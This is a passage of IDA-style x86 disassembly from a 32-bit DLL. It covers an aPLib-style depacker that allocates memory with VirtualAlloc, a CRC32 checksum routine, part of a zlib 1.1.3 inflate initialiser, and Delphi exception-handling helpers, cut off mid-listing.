; ---------------------------------------------------------------------------


loc_100038A0:				; CODE XREF: sub_10003898+2j
		sub	eax, 4
		mov	eax, [eax]
		and	eax, 7FFFFFFCh
		sub	eax, 4
		retn
sub_10003898	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_100038B0	proc near		; CODE XREF: sub_1000765C+24p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, edx
		mov	esi, eax
		xor	ebp, ebp
		test	esi, esi
		jz	short loc_100038FF
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_100038CC
		mov	eax, esi
		call	sub_10003898
		mov	[edi], eax


loc_100038CC:				; CODE XREF: sub_100038B0+11j
		push	esi
		call	sub_10003CCC
		pop	ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_100038DE
		test	ebx, ebx
		jz	short loc_100038FF


loc_100038DE:				; CODE XREF: sub_100038B0+28j
		push	4
		push	1000h
		push	ebx
		push	0
		call	sub_10003778	; VirtualAlloc
		mov	ebp, eax
		push	ebx
		push	ebp
		mov	eax, [edi]
		push	eax
		push	esi
		call	sub_10003CF0
		add	esp, 10h
		mov	[edi], eax


loc_100038FF:				; CODE XREF: sub_100038B0+Cj
					; sub_100038B0+2Cj
		mov	eax, ebp
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100038B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003908	proc near		; CODE XREF: sub_10003CF0+57p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	eax, [esp+20h+arg_4]
		mov	edi, [esp+20h+arg_8]
		mov	ecx, [esp+20h+arg_C]
		push	eax
		push	ecx
		test	esi, esi
		jz	loc_10003BCE
		test	edi, edi
		jz	loc_10003BCE
		cld
		xor	edx, edx


loc_1000392E:				; CODE XREF: sub_10003908:loc_10003968j
		sub	[esp+28h+var_24], 1
		jb	loc_10003BCE
		mov	al, [esi]
		add	esi, 1
		sub	[esp+28h+var_28], 1
		jb	loc_10003BCE
		mov	[edi], al
		add	edi, 1
		mov	ebx, 2


loc_10003952:				; CODE XREF: sub_10003908+129j
					; sub_10003908+1D4j ...
		add	dl, dl
		jnz	short loc_10003968
		sub	[esp+28h+var_24], 1
		jb	loc_10003BCE
		mov	dl, [esi]
		inc	esi
		add	dl, dl
		inc	dl


loc_10003968:				; CODE XREF: sub_10003908+4Cj
		jnb	short loc_1000392E
		add	dl, dl
		jnz	short loc_10003980
		sub	[esp+28h+var_24], 1
		jb	loc_10003BCE
		mov	dl, [esi]
		inc	esi
		add	dl, dl
		inc	dl


loc_10003980:				; CODE XREF: sub_10003908+64j
		jnb	loc_10003A36
		xor	eax, eax
		add	dl, dl
		jnz	short loc_1000399E
		sub	[esp+28h+var_24], 1
		jb	loc_10003BCE
		mov	dl, [esi]
		inc	esi
		add	dl, dl
		inc	dl


loc_1000399E:				; CODE XREF: sub_10003908+82j
		jnb	loc_10003B83
		add	dl, dl
		jnz	short loc_100039BA
		sub	[esp+28h+var_24], 1
		jb	loc_10003BCE
		mov	dl, [esi]
		inc	esi
		add	dl, dl
		inc	dl


loc_100039BA:				; CODE XREF: sub_10003908+9Ej
		adc	eax, eax
		add	dl, dl
		jnz	short loc_100039D2
		sub	[esp+28h+var_24], 1
		jb	loc_10003BCE
		mov	dl, [esi]
		inc	esi
		add	dl, dl
		inc	dl


loc_100039D2:				; CODE XREF: sub_10003908+B6j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_100039EA
		sub	[esp+28h+var_24], 1
		jb	loc_10003BCE
		mov	dl, [esi]
		inc	esi
		add	dl, dl
		inc	dl


loc_100039EA:				; CODE XREF: sub_10003908+CEj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_10003A02
		sub	[esp+28h+var_24], 1
		jb	loc_10003BCE
		mov	dl, [esi]
		inc	esi
		add	dl, dl
		inc	dl


loc_10003A02:				; CODE XREF: sub_10003908+E6j
		adc	eax, eax
		jz	loc_10003A1F
		mov	ebx, [esp+28h+arg_C]
		sub	ebx, [esp+28h+var_28]
		cmp	eax, ebx
		ja	loc_10003BCE
		mov	ebx, edi
		sub	ebx, eax
		mov	al, [ebx]


loc_10003A1F:				; CODE XREF: sub_10003908+FCj
		sub	[esp+28h+var_28], 1
		jb	loc_10003BCE
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	loc_10003952
; ---------------------------------------------------------------------------


loc_10003A36:				; CODE XREF: sub_10003908:loc_10003980j
		mov	eax, 1


loc_10003A3B:				; CODE XREF: sub_10003908:loc_10003A6Fj
		add	dl, dl
		jnz	short loc_10003A51
		sub	[esp+28h+var_24], 1
		jb	loc_10003BCE
		mov	dl, [esi]
		inc	esi
		add	dl, dl
		inc	dl


loc_10003A51:				; CODE XREF: sub_10003908+135j
		adc	eax, eax
		jb	loc_10003BCE
		add	dl, dl
		jnz	short loc_10003A6F
		sub	[esp+28h+var_24], 1
		jb	loc_10003BCE
		mov	dl, [esi]
		inc	esi
		add	dl, dl
		inc	dl


loc_10003A6F:				; CODE XREF: sub_10003908+153j
		jb	short loc_10003A3B
		sub	eax, ebx
		mov	ebx, 1
		jnz	loc_10003AE1
		mov	ecx, 1


loc_10003A83:				; CODE XREF: sub_10003908:loc_10003AB7j
		add	dl, dl
		jnz	short loc_10003A99
		sub	[esp+28h+var_24], 1
		jb	loc_10003BCE
		mov	dl, [esi]
		inc	esi
		add	dl, dl
		inc	dl


loc_10003A99:				; CODE XREF: sub_10003908+17Dj
		adc	ecx, ecx
		jb	loc_10003BCE
		add	dl, dl
		jnz	short loc_10003AB7
		sub	[esp+28h+var_24], 1
		jb	loc_10003BCE
		mov	dl, [esi]
		inc	esi
		add	dl, dl
		inc	dl


loc_10003AB7:				; CODE XREF: sub_10003908+19Bj
		jb	short loc_10003A83
		push	ecx
		mov	ecx, [esp+2Ch+arg_C]
		sub	ecx, [esp+2Ch+var_28]
		cmp	ebp, ecx
		pop	ecx
		ja	loc_10003BCE
		sub	[esp+28h+var_28], ecx
		jb	loc_10003BCE
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_10003952
; ---------------------------------------------------------------------------


loc_10003AE1:				; CODE XREF: sub_10003908+170j
		dec	eax
		test	eax, 0FF000000h
		jnz	loc_10003BCE
		shl	eax, 8
		sub	[esp+28h+var_24], 1
		jb	loc_10003BCE
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_10003B05:				; CODE XREF: sub_10003908:loc_10003B39j
		add	dl, dl
		jnz	short loc_10003B1B
		sub	[esp+28h+var_24], 1
		jb	loc_10003BCE
		mov	dl, [esi]
		inc	esi
		add	dl, dl
		inc	dl


loc_10003B1B:				; CODE XREF: sub_10003908+1FFj
		adc	ecx, ecx
		jb	loc_10003BCE
		add	dl, dl
		jnz	short loc_10003B39
		sub	[esp+28h+var_24], 1
		jb	loc_10003BCE
		mov	dl, [esi]
		inc	esi
		add	dl, dl
		inc	dl


loc_10003B39:				; CODE XREF: sub_10003908+21Dj
		jb	short loc_10003B05
		cmp	eax, 7D00h
		sbb	ecx, 0FFFFFFFFh
		cmp	eax, 500h
		sbb	ecx, 0FFFFFFFFh
		cmp	eax, 80h
		adc	ecx, 0
		cmp	eax, 80h
		adc	ecx, 0
		push	ecx
		mov	ecx, [esp+2Ch+arg_C]
		sub	ecx, [esp+2Ch+var_28]
		cmp	eax, ecx
		pop	ecx
		ja	loc_10003BCE
		sub	[esp+28h+var_28], ecx
		jb	loc_10003BCE
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_10003952
; ---------------------------------------------------------------------------


loc_10003B83:				; CODE XREF: sub_10003908:loc_1000399Ej
		sub	[esp+28h+var_24], 1
		jb	loc_10003BCE
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	loc_10003BD6
		adc	ecx, 2
		mov	ebp, eax
		push	ecx
		mov	ecx, [esp+2Ch+arg_C]
		sub	ecx, [esp+2Ch+var_28]
		cmp	eax, ecx
		pop	ecx
		ja	loc_10003BCE
		sub	[esp+28h+var_28], ecx
		jb	loc_10003BCE
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_10003952
; ---------------------------------------------------------------------------


loc_10003BCE:				; CODE XREF: sub_10003908+15j
					; sub_10003908+1Dj ...
		add	esp, 8
		popa
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_10003BD6:				; CODE XREF: sub_10003908+28Ej
		add	esp, 8
		sub	edi, [esp+20h+arg_8]
		mov	[esp+20h+var_4], edi
		popa
		retn
sub_10003908	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003BE4	proc near		; CODE XREF: sub_10003CF0+3Bp
					; sub_10003CF0+68p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	ecx, [esp+20h+arg_4]
		mov	edi, offset dword_100080A0
		sub	eax, eax
		test	esi, esi
		jz	loc_10003CC4
		sub	eax, 1
		test	ecx, ecx
		jz	loc_10003CC2


loc_10003C07:				; CODE XREF: sub_10003BE4+3Cj
		test	esi, 3
		jz	short loc_10003C22
		xor	al, [esi]
		inc	esi
		mov	ebx, 0FFh
		and	ebx, eax
		shr	eax, 8
		xor	eax, [edi+ebx*4]
		dec	ecx
		jnz	short loc_10003C07


loc_10003C22:				; CODE XREF: sub_10003BE4+29j
		mov	edx, ecx
		and	edx, 7
		shr	ecx, 3
		jz	loc_10003CA9


loc_10003C30:				; CODE XREF: sub_10003BE4+BFj
		xor	eax, [esi]
		add	esi, 4
		mov	ebx, 0FFh
		and	ebx, eax
		shr	eax, 8
		xor	eax, [edi+ebx*4]
		mov	ebx, 0FFh
		and	ebx, eax
		shr	eax, 8
		xor	eax, [edi+ebx*4]
		mov	ebx, 0FFh
		and	ebx, eax
		shr	eax, 8
		xor	eax, [edi+ebx*4]
		mov	ebx, 0FFh
		and	ebx, eax
		shr	eax, 8
		xor	eax, [edi+ebx*4]
		xor	eax, [esi]
		add	esi, 4
		mov	ebx, 0FFh
		and	ebx, eax
		shr	eax, 8
		xor	eax, [edi+ebx*4]
		mov	ebx, 0FFh
		and	ebx, eax
		shr	eax, 8
		xor	eax, [edi+ebx*4]
		mov	ebx, 0FFh
		and	ebx, eax
		shr	eax, 8
		xor	eax, [edi+ebx*4]
		mov	ebx, 0FFh
		and	ebx, eax
		shr	eax, 8
		xor	eax, [edi+ebx*4]
		dec	ecx
		jnz	loc_10003C30


loc_10003CA9:				; CODE XREF: sub_10003BE4+46j
		mov	ecx, edx
		test	ecx, ecx
		jz	short loc_10003CC2


loc_10003CAF:				; CODE XREF: sub_10003BE4+DCj
		xor	al, [esi]
		inc	esi
		mov	ebx, 0FFh
		and	ebx, eax
		shr	eax, 8
		xor	eax, [edi+ebx*4]
		dec	ecx
		jnz	short loc_10003CAF


loc_10003CC2:				; CODE XREF: sub_10003BE4+1Dj
					; sub_10003BE4+C9j
		not	eax


loc_10003CC4:				; CODE XREF: sub_10003BE4+12j
		mov	[esp+20h+var_4], eax
		popa
		retn
sub_10003BE4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003CCC	proc near		; CODE XREF: sub_100038B0+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	ebx, [esi]
		or	eax, 0FFFFFFFFh
		cmp	ebx, 32335041h
		jnz	short loc_10003CE9
		mov	ebx, [esi+4]
		cmp	ebx, 18h
		jb	short loc_10003CE9
		mov	eax, [esi+10h]


loc_10003CE9:				; CODE XREF: sub_10003CCC+10j
					; sub_10003CCC+18j
		mov	[esp+20h+var_4], eax
		popa
		retn
sub_10003CCC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10003CF0	proc near		; CODE XREF: sub_100038B0+45p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	ecx, [esp+20h+arg_4]
		mov	edi, [esp+20h+arg_8]
		test	esi, esi
		jz	short loc_10003D67
		test	edi, edi
		jz	short loc_10003D67
		cmp	ecx, 18h
		jb	short loc_10003D67
		mov	ebx, [esi]
		cmp	ebx, 32335041h
		jnz	short loc_10003D67
		mov	ebx, [esi+4]
		cmp	ebx, 18h
		jb	short loc_10003D67
		sub	ecx, ebx
		jb	short loc_10003D67
		cmp	[esi+8], ecx
		ja	short loc_10003D67
		add	ebx, esi
		push	dword ptr [esi+8]
		push	ebx
		call	sub_10003BE4
		add	esp, 8
		cmp	eax, [esi+0Ch]
		jnz	short loc_10003D67
		mov	ecx, [esp+20h+arg_C]
		cmp	[esi+10h], ecx
		ja	short loc_10003D67
		push	ecx
		push	edi
		push	dword ptr [esi+8]
		push	ebx
		call	sub_10003908
		add	esp, 10h
		cmp	eax, [esi+10h]
		jnz	short loc_10003D67
		mov	ebx, eax
		push	eax
		push	edi
		call	sub_10003BE4
		add	esp, 8
		cmp	eax, [esi+14h]
		mov	eax, ebx
		jz	short loc_10003D6A


loc_10003D67:				; CODE XREF: sub_10003CF0+Fj
					; sub_10003CF0+13j ...
		or	eax, 0FFFFFFFFh


loc_10003D6A:				; CODE XREF: sub_10003CF0+75j
		mov	[esp+20h+var_4], eax
		popa
		retn
sub_10003CF0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_10003D95
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000A66C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10003D9C


loc_10003D94:				; CODE XREF: CODE:10003D9Aj
		retn
; ---------------------------------------------------------------------------


loc_10003D95:				; DATA XREF: CODE:10003D76o
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_10003D94
; ---------------------------------------------------------------------------


loc_10003D9C:				; CODE XREF: CODE:loc_10003D94j
					; DATA XREF: CODE:10003D8Fo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		sub	ds:dword_1000A66C, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003DA8	proc near		; CODE XREF: sub_10003DE4+15p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_10002448
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	edx, [ebp+var_4]
		call	sub_1000273C
		mov	eax, [ebp+var_8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_10003DA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003DD0	proc near		; CODE XREF: sub_10004F78+499p
					; sub_10005C70+Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		call	sub_1000254C
		pop	ebp
		retn
sub_10003DD0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003DE4	proc near		; DATA XREF: sub_1000400C+4Ao

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		imul	[ebp+var_8]
		call	sub_10003DA8
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_10003DE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003E08	proc near		; DATA XREF: sub_1000400C+5Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], edx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		call	sub_10002468
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_10003E08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003E20	proc near		; CODE XREF: sub_10003E38+94p
					; sub_10003E38+D9p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_10003E20	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003E38	proc near		; CODE XREF: sub_10007758+53p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFB8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_48]
		xor	ecx, ecx
		mov	edx, 38h
		call	sub_1000273C
		mov	eax, [ebp+var_8]
		add	eax, 0FFh
		and	eax, 0FFFFFF00h
		mov	[ebp+var_10], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_10003E79
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		mov	[eax], edx
		jmp	short loc_10003E81
; ---------------------------------------------------------------------------


loc_10003E79:				; CODE XREF: sub_10003E38+35j
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[eax], edx


loc_10003E81:				; CODE XREF: sub_10003E38+3Fj
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		call	sub_10002448
		mov	edx, [ebp+arg_4]
		mov	[edx], eax
		xor	eax, eax
		push	ebp
		push	offset loc_10003F58
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	[ebp+var_48], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_44], eax
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_38], eax
		mov	edx, offset dword_10003F7C
		lea	eax, [ebp+var_48]
		mov	ecx, 38h
		call	sub_10004118
		call	sub_10003E20
		xor	eax, eax
		push	ebp
		push	offset loc_10003F34
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		jmp	short loc_10003F07
; ---------------------------------------------------------------------------


loc_10003EE1:				; CODE XREF: sub_10003E38+DFj
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		add	[eax], edx
		mov	edx, [ebp+arg_0]
		mov	edx, [edx]
		mov	eax, [ebp+arg_4]
		call	sub_10002488
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		add	eax, [ebp+var_34]
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_38], eax


loc_10003F07:				; CODE XREF: sub_10003E38+A7j
		lea	eax, [ebp+var_48]
		xor	edx, edx
		call	sub_10004128
		call	sub_10003E20
		dec	eax
		jnz	short loc_10003EE1
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10003F3B


loc_10003F26:				; CODE XREF: sub_10003E38+101j
		lea	eax, [ebp+var_48]
		call	sub_10003FCC
		call	sub_10003E20
		retn
; ---------------------------------------------------------------------------


loc_10003F34:				; DATA XREF: sub_10003E38+9Co
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_10003F26
; ---------------------------------------------------------------------------


loc_10003F3B:				; CODE XREF: sub_10003E38+FBj
					; DATA XREF: sub_10003E38+E9o
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_34]
		call	sub_10002488
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_34]
		mov	[eax], edx
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_10003F71
; ---------------------------------------------------------------------------


loc_10003F58:				; DATA XREF: sub_10003E38+5Bo
		jmp	loc_10002A34
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		call	sub_10002468
		call	sub_10002B98
		call	sub_10002BEC


loc_10003F71:				; CODE XREF: sub_10003E38+11Ej
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_10003E38	endp

; ---------------------------------------------------------------------------
		align 4
dword_10003F7C	dd 2E312E31h, 33h	; DATA XREF: sub_10003E38+82o

; =============== S U B	R O U T	I N E =======================================



sub_10003F84	proc near		; CODE XREF: sub_1000400C+FDp
					; CODE:1000460Fp
		push	ebx
		test	eax, eax
		jz	short loc_10003F8F
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_10003F96


loc_10003F8F:				; CODE XREF: sub_10003F84+3j
		mov	eax, 0FFFFFFFEh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_10003F96:				; CODE XREF: sub_10003F84+9j
		xor	edx, edx
		xor	ecx, ecx
		mov	[eax+14h], edx
		mov	[eax+8], edx
		mov	[eax+18h], ecx
		mov	ecx, 7
		mov	ebx, [eax+1Ch]
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_10003FB4
		add	ecx, 0FFFFFFF9h


loc_10003FB4:				; CODE XREF: sub_10003F84+2Bj
		mov	edx, [eax+1Ch]
		mov	[edx], ecx
		mov	ecx, [edx+14h]
		xor	edx, edx
		xchg	eax, ecx
		xchg	edx, ecx
		call	sub_10004E7C
		xor	eax, eax
		pop	ebx
		retn
sub_10003F84	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003FCC	proc near		; CODE XREF: sub_10003E38+F1p
					; sub_1000400C+B0p ...
		push	ebx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_10003FDF
		cmp	dword ptr [ebx+1Ch], 0
		jz	short loc_10003FDF
		cmp	dword ptr [ebx+24h], 0
		jnz	short loc_10003FE6


loc_10003FDF:				; CODE XREF: sub_10003FCC+5j
					; sub_10003FCC+Bj
		mov	eax, 0FFFFFFFEh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_10003FE6:				; CODE XREF: sub_10003FCC+11j
		mov	edx, [ebx+1Ch]
		mov	eax, [edx+14h]
		test	eax, eax
		jz	short loc_10003FF7
		mov	edx, ebx
		call	sub_10005C40


loc_10003FF7:				; CODE XREF: sub_10003FCC+22j
		mov	edx, [ebx+1Ch]
		mov	eax, [ebx+28h]
		call	dword ptr [ebx+24h]
		xor	ecx, ecx
		xor	eax, eax
		mov	[ebx+1Ch], ecx
		pop	ebx
		retn
sub_10003FCC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000400C	proc near		; CODE XREF: sub_10004118+8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	esi, edx
		cmp	[ebp+var_4], 0
		mov	ebx, eax
		jz	short loc_10004033
		mov	eax, [ebp+var_4]
		mov	dl, [eax]
		cmp	dl, ds:byte_100084A4
		jnz	short loc_10004033
		cmp	[ebp+arg_0], 38h
		jz	short loc_1000403D


loc_10004033:				; CODE XREF: sub_1000400C+12j
					; sub_1000400C+1Fj
		mov	eax, 0FFFFFFFAh
		jmp	loc_10004110
; ---------------------------------------------------------------------------


loc_1000403D:				; CODE XREF: sub_1000400C+25j
		test	ebx, ebx
		jnz	short loc_1000404B
		mov	eax, 0FFFFFFFEh
		jmp	loc_10004110
; ---------------------------------------------------------------------------


loc_1000404B:				; CODE XREF: sub_1000400C+33j
		xor	edx, edx
		mov	[ebx+18h], edx
		cmp	dword ptr [ebx+20h], 0
		jnz	short loc_10004062
		mov	dword ptr [ebx+20h], offset sub_10003DE4
		xor	ecx, ecx
		mov	[ebx+28h], ecx


loc_10004062:				; CODE XREF: sub_1000400C+48j
		cmp	dword ptr [ebx+24h], 0
		jnz	short loc_1000406F
		mov	dword ptr [ebx+24h], offset sub_10003E08


loc_1000406F:				; CODE XREF: sub_1000400C+5Aj
		mov	ecx, 18h
		mov	edx, 1
		mov	eax, [ebx+28h]
		call	dword ptr [ebx+20h]
		mov	[ebx+1Ch], eax
		test	eax, eax
		jnz	short loc_10004090
		mov	eax, 0FFFFFFFCh
		jmp	loc_10004110
; ---------------------------------------------------------------------------


loc_10004090:				; CODE XREF: sub_1000400C+78j
		mov	edx, [ebx+1Ch]
		xor	ecx, ecx
		mov	[edx+14h], ecx
		xor	edx, edx
		mov	eax, [ebx+1Ch]
		test	esi, esi
		mov	[eax+0Ch], edx
		jge	short loc_100040B0
		mov	ecx, [ebx+1Ch]
		neg	esi
		mov	dword ptr [ecx+0Ch], 1


loc_100040B0:				; CODE XREF: sub_1000400C+96j
		cmp	esi, 8
		jl	short loc_100040BA
		cmp	esi, 0Fh
		jle	short loc_100040C8


loc_100040BA:				; CODE XREF: sub_1000400C+A7j
		mov	eax, ebx
		call	sub_10003FCC
		mov	eax, 0FFFFFFFEh
		jmp	short loc_10004110
; ---------------------------------------------------------------------------


loc_100040C8:				; CODE XREF: sub_1000400C+ACj
		mov	ecx, esi
		mov	eax, 1
		shl	eax, cl
		mov	edi, [ebx+1Ch]
		mov	ecx, eax
		mov	[edi+10h], esi
		cmp	dword ptr [edi+0Ch], 0
		jz	short loc_100040E3
		xor	edx, edx
		jmp	short loc_100040E8
; ---------------------------------------------------------------------------


loc_100040E3:				; CODE XREF: sub_1000400C+D1j
		mov	edx, offset sub_10004D50


loc_100040E8:				; CODE XREF: sub_1000400C+D5j
		mov	eax, ebx
		call	sub_10004EE0
		mov	ecx, [ebx+1Ch]
		test	eax, eax
		mov	[ecx+14h], eax
		jnz	short loc_10004107
		mov	eax, ebx
		call	sub_10003FCC
		mov	eax, 0FFFFFFFCh
		jmp	short loc_10004110
; ---------------------------------------------------------------------------


loc_10004107:				; CODE XREF: sub_1000400C+EBj
		mov	eax, ebx
		call	sub_10003F84
		xor	eax, eax


loc_10004110:				; CODE XREF: sub_1000400C+2Cj
					; sub_1000400C+3Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_1000400C	endp


; =============== S U B	R O U T	I N E =======================================



sub_10004118	proc near		; CODE XREF: sub_10003E38+8Fp
		push	ecx
		mov	ecx, 0Fh
		xchg	ecx, edx
		call	sub_1000400C
		retn
sub_10004118	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10004128	proc near		; CODE XREF: sub_10003E38+D4p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_1000413F
		cmp	dword ptr [ebx+1Ch], 0
		jz	short loc_1000413F
		cmp	dword ptr [ebx], 0
		jnz	short loc_10004149


loc_1000413F:				; CODE XREF: sub_10004128+Aj
					; sub_10004128+10j
		mov	eax, 0FFFFFFFEh
		jmp	loc_100044EF
; ---------------------------------------------------------------------------


loc_10004149:				; CODE XREF: sub_10004128+15j
		mov	edx, 0FFFFFFFBh
		cmp	edi, 4
		jz	short loc_10004156
		add	edx, 5


loc_10004156:				; CODE XREF: sub_10004128+29j
		mov	edi, edx
		mov	esi, 0FFFFFFFBh


loc_1000415D:				; CODE XREF: sub_10004128+C6j
					; sub_10004128+F3j ...
		mov	eax, [ebx+1Ch]
		mov	edx, [eax]
		cmp	edx, 0Dh	; switch 14 cases
		ja	loc_100044EA	; default
		jmp	off_10004172[edx*4] ; switch jump
; ---------------------------------------------------------------------------
off_10004172	dd offset loc_100041AA	; DATA XREF: sub_10004128+43r
		dd offset loc_10004229	; jump table for switch	statement
		dd offset loc_1000429D
		dd offset loc_100042CB
		dd offset loc_100042FC
		dd offset loc_1000432D
		dd offset loc_1000436C
		dd offset loc_1000438E
		dd offset loc_100043FA
		dd offset loc_10004428
		dd offset loc_10004459
		dd offset loc_1000448A
		dd offset loc_100044DC
		dd offset loc_100044E3
; ---------------------------------------------------------------------------


loc_100041AA:				; CODE XREF: sub_10004128+43j
					; DATA XREF: sub_10004128:off_10004172o
		cmp	dword ptr [ebx+4], 0 ; jumptable 1000416B case 0
		jnz	short loc_100041B7
		mov	eax, esi
		jmp	loc_100044EF
; ---------------------------------------------------------------------------


